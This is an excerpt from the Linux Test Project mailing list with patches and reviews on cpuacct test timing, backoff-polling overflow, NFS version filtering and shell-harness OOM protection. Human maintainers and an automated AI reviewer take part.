> Could the backoff arithmetic be made overflow-safe before these two new
> uses?
> 
> LTP_TIMEOUT_MUL=3000 is accepted by parse_mul(), which makes

Theoretically, this is correct, but I don't think anyone will
need a timeout as large as 3000 * 30s for one of LTP test.
It would take nearly 25 hours to trigger, which is unrealistic.

IOW, your patch v6 is good enough. Sometimes AI agent is too strict.

-- 
Regards,
Li Wang

From wakel@google.com  Mon Aug 10 06:16:49 2026
From: wakel@google.com (Wake Liu)
Date: Mon, 10 Aug 2026 04:16:49 +0000
Subject: [LTP] lib: Use backoff polling to wait for loop device nodes
In-Reply-To: <anlLyuZW-8dHISLB@linux.dev>
References: <anlLyuZW-8dHISLB@linux.dev>
Message-ID: <20260810041649.1714200-1-wakel@google.com>

Hi Li,

Thanks for the review.

I agree that LTP_TIMEOUT_MUL=3000 is an extreme case and unlikely to happen in practice.

However, since we already sent v7 which fixes this overflow cleanly (using 'unsigned long long' in the macro to prevent the wrap-around), and the AI reviewer has already passed it (Verdict - Reviewed), I think it's worth having the more robust version in v7.

Please take a look at v7.

Thanks,
Wake

From wakel@google.com  Mon Aug 10 06:17:38 2026
From: wakel@google.com (Wake Liu)
Date: Mon, 10 Aug 2026 04:17:38 +0000
Subject: [LTP] [PATCH] controllers/cpuacct: Dynamically adjust cpuacct_task
 execution time
Message-ID: <20260810041738.1714971-1-wakel@google.com>

The test helper cpuacct_task currently runs for 10ms (virtual time)
before exiting. On some systems (e.g. fast virtual machines or under
heavy load), this short duration can lead to 0 usage being recorded in
cpuacct.usage cgroup file due to timing resolution or scheduling delay,
especially when running small configurations like cpuacct_1_1.

However, unconditionally increasing the duration for all runs (e.g. to
100ms) would cause large stress tests like cpuacct_100_100 (which runs
10,000 tasks) to timeout on systems with few CPUs.

Resolve this by:
1. Modifying cpuacct_task to accept an optional duration argument.
2. Modifying cpuacct.sh to calculate the duration dynamically based on
   nbprocess, ensuring each subgroup gets at least 100ms of aggregate
   CPU time, while clamping the per-process duration to a minimum of
   10ms to avoid timeouts in large stress tests.

Signed-off-by: Wake Liu <wakel@google.com>
---
 .../kernel/controllers/cpuacct/cpuacct.sh     |  7 ++++++-
 .../kernel/controllers/cpuacct/cpuacct_task.c | 20 ++++++++++++++++---
 2 files changed, 23 insertions(+), 4 deletions(-)

diff --git a/testcases/kernel/controllers/cpuacct/cpuacct.sh b/testcases/kernel/controllers/cpuacct/cpuacct.sh
index 97a395cd5..efabe6cab 100755
--- a/testcases/kernel/controllers/cpuacct/cpuacct.sh
+++ b/testcases/kernel/controllers/cpuacct/cpuacct.sh
@@ -139,10 +139,15 @@ do_test()
 {
 	tst_res TINFO "Creating $max subgroups each with $nbprocess processes"
 
+	local duration=$((100000 / nbprocess))
+	if [ $duration -lt 10000 ]; then
+		duration=10000
+	fi
+
 	# create and attach process to subgroups
 	for i in `seq 1 $max`; do
 		for j in `seq 1 $nbprocess`; do
-			cpuacct_task $testpath/subgroup_$i/tasks &
+			cpuacct_task $testpath/subgroup_$i/tasks $duration &
 			echo $! >> task_pids
 		done
 	done
diff --git a/testcases/kernel/controllers/cpuacct/cpuacct_task.c b/testcases/kernel/controllers/cpuacct/cpuacct_task.c
index 677d6d401..caeecf064 100644
--- a/testcases/kernel/controllers/cpuacct/cpuacct_task.c
+++ b/testcases/kernel/controllers/cpuacct/cpuacct_task.c
@@ -38,12 +38,21 @@ int main(int argc, char **argv)
 {
 	FILE *f;
 	struct sigaction sa;
+	int duration_us = 10000;
 
-	if (argc != 2) {
-		fprintf(stderr, "Usage: %s /cgroup/.../tasks\n", argv[0]);
+	if (argc < 2 || argc > 3) {
+		fprintf(stderr, "Usage: %s /cgroup/.../tasks [duration_us]\n", argv[0]);
 		return 1;
 	}
 
+	if (argc == 3) {
+		duration_us = atoi(argv[2]);
+		if (duration_us <= 0) {
+			fprintf(stderr, "Invalid duration: %s\n", argv[2]);
+			return 1;
+		}
+	}
+
 	f = fopen(argv[1], "a");
 	if (!f) {
 		perror("fopen failed");
@@ -62,7 +71,12 @@ int main(int argc, char **argv)
 		return 1;
 	}
 
-	struct itimerval it = {.it_value = {.tv_sec = 0, .tv_usec = 10000}};
+	struct itimerval it = {
+		.it_value = {
+			.tv_sec = duration_us / 1000000,
+			.tv_usec = duration_us % 1000000
+		}
+	};
 
 	setitimer(ITIMER_VIRTUAL, &it, NULL);
 	for (;;);
-- 
2.55.0.654.g21b8a5bc05-goog


From linuxtestproject.agent@gmail.com  Mon Aug 10 07:28:00 2026
From: linuxtestproject.agent@gmail.com (linuxtestproject.agent@gmail.com)
Date: Mon, 10 Aug 2026 05:28:00 +0000
Subject: [LTP] controllers/cpuacct: Dynamically adjust cpuacct_task
 execution time
In-Reply-To: <20260810041738.1714971-1-wakel@google.com>
References: <20260810041738.1714971-1-wakel@google.com>
Message-ID: <20260810052800.4140-1-linuxtestproject.agent@gmail.com>

Hi Wake,

On Mon, 10 Aug 2026, Wake Liu wrote:
> controllers/cpuacct: Dynamically adjust cpuacct_task execution time

> +	local duration=$((100000 / nbprocess))

Could nbprocess be validated as a positive integer at the start of setup()?
It comes directly from the second command-line argument, while TST_POS_ARGS
checks only the argument count. With `cpuacct.sh 1 0` (or nonnumeric input),
dash treats the arithmetic error as fatal, so execution bypasses
_tst_do_cleanup() after setup has created and possibly mounted the cgroup
hierarchy, leaving those resources behind.

Verdict - Needs revision

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

From wakel@google.com  Mon Aug 10 10:30:09 2026
From: wakel@google.com (Wake Liu)
Date: Mon, 10 Aug 2026 08:30:09 +0000
Subject: [LTP] [PATCH] controllers/cpuacct: Dynamically adjust cpuacct_task
 execution time
In-Reply-To: <20260810041738.1714971-1-wakel@google.com>
References: <20260810041738.1714971-1-wakel@google.com>
Message-ID: <20260810083009.1846957-1-wakel@google.com>

The test helper cpuacct_task currently runs for 10ms (virtual time)
before exiting. On some systems (e.g. fast virtual machines or under
heavy load), this short duration can lead to 0 usage being recorded in
cpuacct.usage cgroup file due to timing resolution or scheduling delay,
especially when running small configurations like cpuacct_1_1.

However, unconditionally increasing the duration for all runs (e.g. to
100ms) would cause large stress tests like cpuacct_100_100 (which runs
10,000 tasks) to timeout on systems with few CPUs.

Resolve this by:
1. Modifying cpuacct_task to accept an optional duration argument.
2. Modifying cpuacct.sh to calculate the duration dynamically based on
   nbprocess, ensuring each subgroup gets at least 100ms of aggregate
   CPU time, while clamping the per-process duration to a minimum of
   10ms to avoid timeouts in large stress tests.
3. Validating nsubgroup and nprocess arguments in cpuacct.sh setup() to
   ensure they are positive integers, avoiding division by zero or fatal
   arithmetic errors in shell.

Signed-off-by: Wake Liu <wakel@google.com>
---
 .../kernel/controllers/cpuacct/cpuacct.sh     | 17 +++++++++++++++-
 .../kernel/controllers/cpuacct/cpuacct_task.c | 20 ++++++++++++++++---
 2 files changed, 33 insertions(+), 4 deletions(-)

diff --git a/testcases/kernel/controllers/cpuacct/cpuacct.sh b/testcases/kernel/controllers/cpuacct/cpuacct.sh
index 97a395cd5..deb103a30 100755
--- a/testcases/kernel/controllers/cpuacct/cpuacct.sh
+++ b/testcases/kernel/controllers/cpuacct/cpuacct.sh
@@ -84,6 +84,16 @@ check_limits()
 
 setup()
 {
+	case "$max" in
+		""|*[!0-9]*) tst_brk TBROK "nsubgroup must be a positive integer" ;;
+		*) [ "$max" -gt 0 ] || tst_brk TBROK "nsubgroup must be a positive integer" ;;
+	esac
+
+	case "$nbprocess" in
+		""|*[!0-9]*) tst_brk TBROK "nprocess must be a positive integer" ;;
+		*) [ "$nbprocess" -gt 0 ] || tst_brk TBROK "nprocess must be a positive integer" ;;
+	esac
+
 	if ! grep -q -w cpuacct /proc/cgroups; then
 		tst_brk TCONF "cpuacct not supported on this system"
 	fi
@@ -139,10 +149,15 @@ do_test()
 {
 	tst_res TINFO "Creating $max subgroups each with $nbprocess processes"
 
+	local duration=$((100000 / nbprocess))
+	if [ "$duration" -lt 10000 ]; then
+		duration=10000
+	fi
+
 	# create and attach process to subgroups
 	for i in `seq 1 $max`; do
 		for j in `seq 1 $nbprocess`; do
-			cpuacct_task $testpath/subgroup_$i/tasks &
+			cpuacct_task "$testpath/subgroup_$i/tasks" "$duration" &
 			echo $! >> task_pids
 		done
 	done
diff --git a/testcases/kernel/controllers/cpuacct/cpuacct_task.c b/testcases/kernel/controllers/cpuacct/cpuacct_task.c
index 677d6d401..caeecf064 100644
--- a/testcases/kernel/controllers/cpuacct/cpuacct_task.c
+++ b/testcases/kernel/controllers/cpuacct/cpuacct_task.c
@@ -38,12 +38,21 @@ int main(int argc, char **argv)
 {
 	FILE *f;
 	struct sigaction sa;
+	int duration_us = 10000;
 
-	if (argc != 2) {
-		fprintf(stderr, "Usage: %s /cgroup/.../tasks\n", argv[0]);
+	if (argc < 2 || argc > 3) {
+		fprintf(stderr, "Usage: %s /cgroup/.../tasks [duration_us]\n", argv[0]);
 		return 1;
 	}
 
+	if (argc == 3) {
+		duration_us = atoi(argv[2]);
+		if (duration_us <= 0) {
+			fprintf(stderr, "Invalid duration: %s\n", argv[2]);
+			return 1;
+		}
+	}
+
 	f = fopen(argv[1], "a");
 	if (!f) {
 		perror("fopen failed");
@@ -62,7 +71,12 @@ int main(int argc, char **argv)
 		return 1;
 	}
 
-	struct itimerval it = {.it_value = {.tv_sec = 0, .tv_usec = 10000}};
+	struct itimerval it = {
+		.it_value = {
+			.tv_sec = duration_us / 1000000,
+			.tv_usec = duration_us % 1000000
+		}
+	};
 
 	setitimer(ITIMER_VIRTUAL, &it, NULL);
 	for (;;);
-- 
2.55.0.654.g21b8a5bc05-goog


From andrea.cervesato@suse.com  Mon Aug 10 11:17:26 2026
From: andrea.cervesato@suse.com (Andrea Cervesato)
Date: Mon, 10 Aug 2026 09:17:26 +0000
Subject: [LTP] [PATCH v7 1/2] lib: Fix overflow in backoff polling and
 timeout multiplication
In-Reply-To: <20260810025817.1665141-2-wakel@google.com>
Message-ID: <6a799726.09e844f7.2f9deb.ad56@mx.google.com>

Reviewed-by: Andrea Cervesato <andrea.cervesato@suse.com>

--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

From andrea.cervesato@suse.com  Mon Aug 10 11:17:31 2026
From: andrea.cervesato@suse.com (Andrea Cervesato)
Date: Mon, 10 Aug 2026 09:17:31 +0000
Subject: [LTP] [PATCH v7 2/2] lib: Use backoff polling to wait for loop
 device nodes
In-Reply-To: <20260810025817.1665141-3-wakel@google.com>
Message-ID: <6a79972c.c9eda3e9.137cc1.cf31@mx.google.com>

Reviewed-by: Andrea Cervesato <andrea.cervesato@suse.com>

--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

From linuxtestproject.agent@gmail.com  Mon Aug 10 11:22:46 2026
From: linuxtestproject.agent@gmail.com (linuxtestproject.agent@gmail.com)
Date: Mon, 10 Aug 2026 09:22:46 +0000
Subject: [LTP] controllers/cpuacct: Dynamically adjust cpuacct_task
 execution time
In-Reply-To: <20260810083009.1846957-1-wakel@google.com>
References: <20260810083009.1846957-1-wakel@google.com>
Message-ID: <20260810092246.8667-1-linuxtestproject.agent@gmail.com>

Hi Wake,

On Aug 10, 2026, Wake Liu wrote:
> controllers/cpuacct: Dynamically adjust cpuacct_task execution time

Verdict - Reviewed

---
Note:

The agent can sometimes produce false positives although often its
findings are genuine. If you find issues with the review, please
comment this email or ignore the suggestions.

Regards,
LTP AI Reviewer

From andrea.cervesato@suse.com  Mon Aug 10 11:36:11 2026
From: andrea.cervesato@suse.com (Andrea Cervesato)
Date: Mon, 10 Aug 2026 09:36:11 +0000
Subject: [LTP] [PATCH] syscalls/file_attr01: Fix EOPNOTSUPP expectation
 on tmpfs
In-Reply-To: <20260807104442.2831991-1-wakel@google.com>
Message-ID: <6a799b8c.5fb1dcdd.355f96.b914@mx.google.com>

Hi Wake,

where did you see this error? can you pleae provide more information?

Regards,
--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

From andrea.cervesato@suse.com  Mon Aug 10 11:41:22 2026
From: andrea.cervesato@suse.com (Andrea Cervesato)
Date: Mon, 10 Aug 2026 09:41:22 +0000
Subject: [LTP] memcg/memcontrol02: fix fd leak in cleanup path
In-Reply-To: <20260807141849.4616-1-linuxtestproject.agent@gmail.com>
Message-ID: <6a799cc3.3b530373.1ff701.4966@mx.google.com>

Hi Disha,

> > fd is initialized to 0 (a valid file descriptor) so the cleanup()
> > guard 'if (fd > -1)' would never trigger.
> 
> Could this explanation be corrected? Zero is greater than -1, and the
> cleanup guard is added by this patch rather than being an existing guard.
> The relevant problem is that -1 is needed to distinguish an unopened
> descriptor before cleanup tries to close it.
> 
> > +	if (fd > -1)
> > +		SAFE_CLOSE(fd);
> 
> Could this use `fd != -1` instead? LTP file descriptors use -1 as the
> invalid sentinel, and the LTP convention requires this form for cleanup
> guards.

this is correct.

> 
> --- [PATCH 2/2] ---
> 
> > #include <inttypes.h>
> >
> > -		tst_res(TINFO, "Child %d in %s: Allocating anon: %"PRIdPTR,
> > +		tst_res(TINFO, "Child %d in %s: Allocating anon: %zu",
> 
> Could the now-unused `<inttypes.h>` include be removed from both
> memcontrol03.c and memcontrol04.c? This patch replaces every `PRIdPTR`
> use in both files.

And also this is correct. We should split the patch in two: one for
memcontrol03 and one for memcontrol04

--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

From andrea.cervesato@suse.com  Mon Aug 10 11:47:16 2026
From: andrea.cervesato@suse.com (Andrea Cervesato)
Date: Mon, 10 Aug 2026 09:47:16 +0000
Subject: [LTP] [PATCH v2] inode01: Use uint64_t to prevent inode
 truncation on 32-bit
In-Reply-To: <20260807231752.3218267-1-wakel@google.com>
Message-ID: <6a799e25.e9cff95d.1ecde9.1250@mx.google.com>

Reviewed-by: Andrea Cervesato <andrea.cervesato@suse.com>

--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

From andrea.cervesato@suse.com  Mon Aug 10 11:48:32 2026
From: andrea.cervesato@suse.com (Andrea Cervesato)
Date: Mon, 10 Aug 2026 09:48:32 +0000
Subject: [LTP] [PATCH v2] inode01: Use uint64_t to prevent inode
 truncation on 32-bit
In-Reply-To: <20260807231752.3218267-1-wakel@google.com>
Message-ID: <6a799e71.8af9f03d.31a0ac.aac1@mx.google.com>

Merged, Thanks!

--
Andrea Cervesato
SUSE QE Automation Engineer Linux
andrea.cervesato@suse.com

From li.wang@linux.dev  Mon Aug 10 12:02:49 2026
From: li.wang@linux.dev (Li Wang)
Date: Mon, 10 Aug 2026 18:02:49 +0800
Subject: [LTP] [PATCH v7 1/2] lib: Fix overflow in backoff polling and
 timeout multiplication
In-Reply-To: <20260810025817.1665141-2-wakel@google.com>
References: <20260807234935.3248935-1-wakel@google.com>
 <20260810025817.1665141-1-wakel@google.com>
 <20260810025817.1665141-2-wakel@google.com>
Message-ID: <anmhyfuUdUrzQuWY@linux.dev>

Hi Wake,

This patch is not necessary, the overflow is not reachable in practice.

MAX_DELAY is a compile-time constant <= 30 at all call sites, so
'MAX_DELAY * 1000000' never overflows int. And the backoff would
need tst_delay_ to reach 2^31 (a single ~35 min usleep) to wrap,
which the loop-device probing never approaches regardless of
LTP_TIMEOUT_MUL.

So, I'd prefer to keep the change minimal and apply only v6.


On Mon, Aug 10, 2026 at 02:58:16AM +0000, Wake Liu via ltp wrote:
> Prevent integer overflow in TST_RETRY_FN_EXP_BACKOFF() when the delay
> doubles. By using 'unsigned long long' for delay variables, we ensure
> the doubled delay is safely represented without wrapping to 0 (which
> causes an infinite loop). The loop will naturally terminate when the
> 64-bit delay exceeds 'tst_max_delay_' (capped at UINT_MAX).
> 
> Also fix potential overflow in tst_multiply_timeout() when the
> multiplied timeout exceeds UINT_MAX. Perform the calculation in double
> precision and cap the result at UINT_MAX.
> 
> Signed-off-by: Wake Liu <wakel@google.com>
> ---
>  include/tst_common.h |  4 +++-
>  lib/tst_test.c       | 11 +++++++++--
>  2 files changed, 12 insertions(+), 3 deletions(-)
> 
> diff --git a/include/tst_common.h b/include/tst_common.h
> index e1f7c7907..058060fa4 100644
> --- a/include/tst_common.h
> +++ b/include/tst_common.h
> @@ -26,6 +26,8 @@
>  #define LTP_ALIGN(x, a)    __LTP_ALIGN_MASK(x, (typeof(x))(a) - 1)
>  #define __LTP_ALIGN_MASK(x, mask)  (((x) + (mask)) & ~(mask))
>  
> +unsigned int tst_multiply_timeout(unsigned int timeout);
> +
>  /**
>   * TST_RETRY_FUNC() - Repeatedly retry a function with an increasing delay.
>   * @FUNC - The function which will be retried
> @@ -42,7 +44,7 @@
>  	TST_RETRY_FN_EXP_BACKOFF(FUNC, ECHCK, 1)
>  
>  #define TST_RETRY_FN_EXP_BACKOFF(FUNC, ECHCK, MAX_DELAY)	\
> -({	unsigned int tst_delay_, tst_max_delay_;			\
> +({	unsigned long long tst_delay_, tst_max_delay_;			\
>  	typeof(FUNC) tst_ret_;						\
>  	tst_delay_ = 1;							\
>  	tst_max_delay_ = tst_multiply_timeout(MAX_DELAY * 1000000);	\
> diff --git a/lib/tst_test.c b/lib/tst_test.c
> index 5c3607016..80463e7c6 100644
> --- a/lib/tst_test.c
> +++ b/lib/tst_test.c
> @@ -1855,10 +1855,17 @@ unsigned int tst_multiply_timeout(unsigned int timeout)
>  	if (timeout < 1)
>  		tst_brk(TBROK, "timeout must to be >= 1! (%d)", timeout);
>  
> +	double t = timeout;
> +
>  	if (tst_has_slow_kconfig())
> -		timeout *= 4;
> +		t *= 4;
> +
> +	t *= timeout_mul;
> +
> +	if (t > (double)UINT_MAX)
> +		return UINT_MAX;
>  
> -	return timeout * timeout_mul;
> +	return t;
>  }
>  
>  static void set_overall_timeout(void)
> -- 
> 2.55.0.654.g21b8a5bc05-goog
> 
> 
> -- 
> Mailing list info: https://lists.linux.it/listinfo/ltp

-- 
Regards,
Li Wang

From li.wang@linux.dev  Mon Aug 10 12:10:17 2026
From: li.wang@linux.dev (Li Wang)
Date: Mon, 10 Aug 2026 18:10:17 +0800
Subject: [LTP] [PATCH v6] lib: Use backoff polling to wait for loop
 device nodes
In-Reply-To: <20260807234935.3248935-1-wakel@google.com>
References: <20260807110541.8702-1-linuxtestproject.agent@gmail.com>
 <20260807234935.3248935-1-wakel@google.com>
Message-ID: <anmjiYgCDToNhlxI@linux.dev>

Hi Wake, All,

I have merged v6 to keep things tidy. Thanks!

-- 
Regards,
Li Wang

From pvorel@suse.cz  Mon Aug 10 12:31:34 2026
From: pvorel@suse.cz (Petr Vorel)
Date: Mon, 10 Aug 2026 12:31:34 +0200
Subject: [LTP] [PATCH] nfs_lib: Skip NFS versions disabled on server
In-Reply-To: <20260806074713.158271-1-avinesh.kumar@suse.com>
References: <20260806074713.158271-1-avinesh.kumar@suse.com>
Message-ID: <20260810103134.GA918586@pevik>

Hi Avinesh,

> nfs06.sh mount several NFS versions in a single run
> (e.g. "3,4.0,4.1,4.2"). If the server has disabled one of
> the requested versions (reported via /proc/fs/nfsd/versions),
> the whole test currently aborts with TBROK on the failed mount
> instead of continuing with the versions that are supported.

> nfs06 1 TINFO: setup NFSv4.0, socket type tcp
> nfs06 1 TINFO: Mounting /var/tmp/LTP_nfs06.GHDqCwPYES/4.0/1
> nfs06 1 TINFO: Mounting NFS: mount -v -t nfs -o proto=tcp,vers=4.0 10.0.0.2:/var/tmp/LTP_nfs06.GHDqCwPYES/mntpoint/4.0/tcp /var/tmp/LTP_nfs06.GHDqCwPYES/4.0/1
> mount.nfs: mount(2): Invalid argument
> mount.nfs: an incorrect mount option was specified for /var/tmp/LTP_nfs06.GHDqCwPYES/4.0/1
> mount.nfs: timeout set for Wed Aug  5 08:06:38 2026
> mount.nfs: trying text-based options 'proto=tcp,vers=4.0,addr=10.0.0.2,clientaddr=10.0.0.1'
> nfs06 1 TBROK: mount command failed

> Add nfs_server_vers_enabled() to check /proc/fs/nfsd/versions on the
> server, and nfs_filter_versions() to drop disabled versions from
> $VERSION (keeping $SOCKET_TYPE aligned by position) before mounting.
> If none of the requested versions are enabled, TCONF as before.

Thanks for handling this!

LGTM? few notes below.
Reviewed-by: Petr Vorel <pvorel@suse.cz>
...

> -get_socket_type()
> +get_socket_type_raw()
very nit: slightly confusing type, because there is a "raw" socket SOCK_RAW.
I guess any network programmer seeing this will think of that socket, e.g.:
socket(PF_INET, SOCK_RAW, ...);
socket(PF_NETLINK, SOCK_RAW, NETLINK_ROUTE);

But of course it can stay.

>  {
>  	local t
>  	local k=0
>  	for t in $SOCKET_TYPE; do
>  		if [ "$k" -eq "$1" ]; then
> -			echo "${t}${TST_IPV6}"
> +			echo "$t"
>  			return
>  		fi
>  		k=$(( k + 1 ))
>  	done
>  }

> +get_socket_type()
> +{
> +	echo "$(get_socket_type_raw "$1")${TST_IPV6}"
> +}
> +
>  # directory mounted by NFS client
>  get_local_dir()
>  {
> @@ -109,6 +114,51 @@ nfs_server_udp_enabled()
>  	tst_rhost_run -c "grep -q \"^[# ]*udp *= *y\" /etc/nfs.conf $config"
>  }

> +# nfs_server_vers_enabled VERS
> +# Only returns false (1) when the server explicitly lists "-VERS" in
> +# /proc/fs/nfsd/versions. If that file is unavailable or doesn't mention
> +# VERS at all, defaults to true so the mount is still attempted.
> +nfs_server_vers_enabled()
> +{
> +	local vers="$1"
> +	local versions=" $(tst_rhost_run -c 'cat /proc/fs/nfsd/versions 2>/dev/null') "
> +
> +	case "$versions" in
> +	*" -$vers "*) return 1;;
> +	esac

very nit: I was thinking if having the space in case would be slightly more
readable, but probably not. I consider spaces in both versions as unnecessary
(i.e. formatting error) but of course they are necessary.

	local versions="$(tst_rhost_run -c 'cat /proc/fs/nfsd/versions 2>/dev/null')"

	case " $versions " in

> +
> +	return 0
> +}
> +
> +# Drops NFS versions the server explicitly disabled from $VERSION, keeping
> +# $SOCKET_TYPE entries aligned by position with what remains.
> +nfs_filter_versions()
> +{
> +	local v type
> +	local n=0
> +	local new_version=
> +	local new_socket_type=
nit: it should be safe to use it without '=', right?
local v type new_version new_socket_type

> +
> +	for v in $VERSION; do
> +		type=$(get_socket_type_raw $n)
> +
> +		if nfs_server_vers_enabled "$v"; then
> +			new_version="$new_version $v"
> +			new_socket_type="$new_socket_type $type"
> +		else
> +			tst_res TINFO "NFSv$v disabled on server, skipping"

Could this be TCONF so that results summary at the end shows some TCONF?
That indicates something was skipped.

+			tst_res TINFO "NFSv$v disabled on server, skipping"
+			tst_res TCONF "NFSv$v disabled on server, skipping"

> +		fi
> +
> +		n=$(( n + 1 ))
> +	done
> +
> +	[ -z "$new_version" ] && \
> +		tst_brk TCONF "none of the requested NFS versions ($VERSION) are enabled on server"
nit: I would expect this would quit the test on system with
set -o errexit (equivalent of set -e), but magically it works.
FYI normally it's better if any test line exit with 0 => use || (or if ...; then
... fi) instead &&  i.e.

[ ... ] || tst_brk TCONF

But because it works it can stay.

> +
> +	VERSION="${new_version# }"
> +	SOCKET_TYPE="${new_socket_type# }"

Fortunately removing leading space works also on dash, although at least some
string operations aren't part of POSIX [1].

If this is ever problematic, we can fix it with:

	[ "$new_version" ] && new_version="$new_version $v" || new_version="$v"
	[ "$new_socket_type" ] && new_socket_type="$new_socket_type $type" || new_socket_type="$type"

But because removing leading space is not needed, because later code for t in
$SOCKET_TYPE; do will handle that, I'd remove this part entirely.

FYI: (no leading/trailing space in parameters, no $t having just empty space:
SOCKET_TYPE=' udp tcp  '; for t in $SOCKET_TYPE; do echo "'$t'"; done
'udp'
'tcp'

[1] https://mywiki.wooledge.org/Bashism#Parameter_Expansions

Kind regards,
Petr

From andrea.cervesato@suse.de  Mon Aug 10 13:13:14 2026
From: andrea.cervesato@suse.de (Andrea Cervesato)
Date: Mon, 10 Aug 2026 13:13:14 +0200
Subject: [LTP] [PATCH v4] shell: enable OOM protection by default
Message-ID: <20260810-shell_oom_protection-v4-1-4dac0dbb0414@suse.com>

From: Andrea Cervesato <andrea.cervesato@suse.com>

The shell harness shields itself from the OOM killer and runs the
test in a child process, so it survives memory pressure and can
still report results (e.g. during memcg stress tests).

Suggested-by: Li Wang <liwang@redhat.com>
Signed-off-by: Andrea Cervesato <andrea.cervesato@suse.com>
---
Under Li's idea, implement a OOM protection mechanism for the shell
tests so we can avoid OOM for memcg stress tests.
---
Changes in v4:
- fix with Petr suggestions
- fix with AI agent suggestions
- Link to v3: https://lore.kernel.org/20260804-shell_oom_protection-v3-1-fe42b15d034c@suse.com

Changes in v3:
- simplify oom code
- enable OOM protection by default
- Link to v2: https://lore.kernel.org/20260730-shell_oom_protection-v2-0-be1de2baa83d@suse.com

Changes in v2:
- update shell OOM protection functional test
- Link to v1: https://lore.kernel.org/20260713-shell_oom_protection-v1-0-b732e8647894@suse.com

To: Linux Test Project <ltp@lists.linux.it>
---
 lib/newlib_tests/runtest.sh                  |  1 +
 lib/newlib_tests/shell/tst_oom_protection.sh | 34 +++++++++++
 testcases/lib/tst_test.sh                    | 84 ++++++++++++++++++++++++++--
 3 files changed, 115 insertions(+), 4 deletions(-)

diff --git a/lib/newlib_tests/runtest.sh b/lib/newlib_tests/runtest.sh
index 71808ef8b..7e2d0a2ac 100755
--- a/lib/newlib_tests/runtest.sh
+++ b/lib/newlib_tests/runtest.sh
@@ -44,6 +44,7 @@ shell/tst_check_driver.sh
 shell/tst_check_kconfig0[1-5].sh
 shell/tst_mount_device.sh
 shell/tst_mount_device_tmpfs.sh
+shell/tst_oom_protection.sh
 shell/tst_skip_filesystems.sh
 shell/net/*.sh}"
 
diff --git a/lib/newlib_tests/shell/tst_oom_protection.sh b/lib/newlib_tests/shell/tst_oom_protection.sh
new file mode 100755
index 000000000..564680700
--- /dev/null
+++ b/lib/newlib_tests/shell/tst_oom_protection.sh
@@ -0,0 +1,34 @@
+#!/bin/sh
+# SPDX-License-Identifier: GPL-2.0-or-later
+# Copyright (c) 2026 Linux Test Project
+
+TST_TESTFUNC=do_test
+
+read_oom_score_adj() {
+	cat "/proc/$1/oom_score_adj"
+}
+
+do_test() {
+	local harness_score body_score
+
+	# $$ points to the protected harness, while /proc/self is the
+	# unprotected child that actually runs the test body.
+	harness_score=$(read_oom_score_adj "$$")
+	body_score=$(read_oom_score_adj self)
+
+	if [ "$harness_score" != -1000 ]; then
+		tst_res TCONF "shell harness OOM protection unavailable"
+		return
+	fi
+
+	tst_res TPASS "shell harness is protected from OOM by default"
+
+	if [ "$body_score" = 0 ]; then
+		tst_res TPASS "test body runs in an unprotected child (oom_score_adj=0)"
+	else
+		tst_res TFAIL "test body oom_score_adj is $body_score, expected 0"
+	fi
+}
+
+. tst_test.sh
+tst_run
diff --git a/testcases/lib/tst_test.sh b/testcases/lib/tst_test.sh
index b3e7e29bb..e42e562f5 100644
--- a/testcases/lib/tst_test.sh
+++ b/testcases/lib/tst_test.sh
@@ -28,6 +28,48 @@ export TST_USR_GID="${LTP_USR_GID:-65534}"
 trap "tst_brk TBROK 'test interrupted'" INT
 trap "unset _tst_setup_timer_pid; tst_brk TBROK 'test terminated'" TERM
 
+_tst_set_oom_score_adj()
+{
+	local value="$1"
+	local path="/proc/self/oom_score_adj"
+
+	if [ ! -e "$path" ]; then
+		tst_res TINFO "oom_score_adj does not exist, skipping the adjustment"
+		return
+	fi
+
+	if ! echo "$value" > "$path"; then
+		tst_res TWARN "Can't adjust score"
+	fi
+}
+
+_tst_enable_oom_protection()
+{
+	_tst_set_oom_score_adj -1000
+}
+
+_tst_disable_oom_protection()
+{
+	_tst_set_oom_score_adj 0
+}
+
+_tst_write_results()
+{
+	[ "$TST_CHILD" = 1 ] || return 0
+	[ -n "$TST_RESULTS_FILE" ] || return 0
+
+	echo "$TST_PASS $TST_FAIL $TST_BROK $TST_WARN $TST_CONF $TST_COUNT" \
+		> "$TST_RESULTS_FILE"
+}
+
+_tst_read_results()
+{
+	[ -s "$TST_RESULTS_FILE" ] || return 0
+
+	read TST_PASS TST_FAIL TST_BROK TST_WARN TST_CONF TST_COUNT \
+		< "$TST_RESULTS_FILE"
+}
+
 _tst_do_cleanup()
 {
 	if [ -n "$TST_DO_CLEANUP" -a -n "$TST_CLEANUP" -a -z "$LTP_NO_CLEANUP" ]; then
@@ -48,6 +90,15 @@ _tst_do_exit()
 
 	_tst_do_cleanup
 
+	# When running as the unprotected test child, only propagate the
+	# results back to the protected harness which does the teardown and
+	# prints the summary.
+	if [ "$TST_CHILD" = 1 ]; then
+		_tst_cleanup_timer
+		_tst_write_results
+		exit 0
+	fi
+
 	cd "$LTPROOT"
 	[ "$TST_MOUNT_FLAG" = 1 ] && tst_umount
 
@@ -788,10 +839,34 @@ tst_run()
 
 	TST_MNTPOINT="${TST_MNTPOINT:-$PWD/mntpoint}"
 
-	if [ "$TST_ALL_FILESYSTEMS" = 1 ]; then
-		_tst_run_tcases_per_fs
-	else
-		_tst_run_iterations
+	# Protect the harness so it survives memory pressure and can
+	# still report results, then run the test body in a child that
+	# resets OOM protection. This way workloads forked by the test
+	# remain killable, mirroring the C test harness.
+	_tst_enable_oom_protection
+
+	TST_RESULTS_FILE=$(mktemp "${TMPDIR:-/tmp}/ltp_${TST_ID}_res.XXXXXX")
+
+	(
+		TST_CHILD=1
+		_tst_disable_oom_protection
+		trap '_tst_cleanup_timer; _tst_write_results' EXIT
+
+		if [ "$TST_ALL_FILESYSTEMS" = 1 ]; then
+			_tst_run_tcases_per_fs
+		else
+			_tst_run_iterations
+		fi
+	) &
+
+	wait $!
+	ret=$?
+
+	_tst_read_results
+	rm -f "$TST_RESULTS_FILE"
+
+	if [ $ret -gt 128 ]; then
+		tst_res TBROK "Test killed by signal $((ret - 128))!"
 	fi
 
 	_tst_do_exit
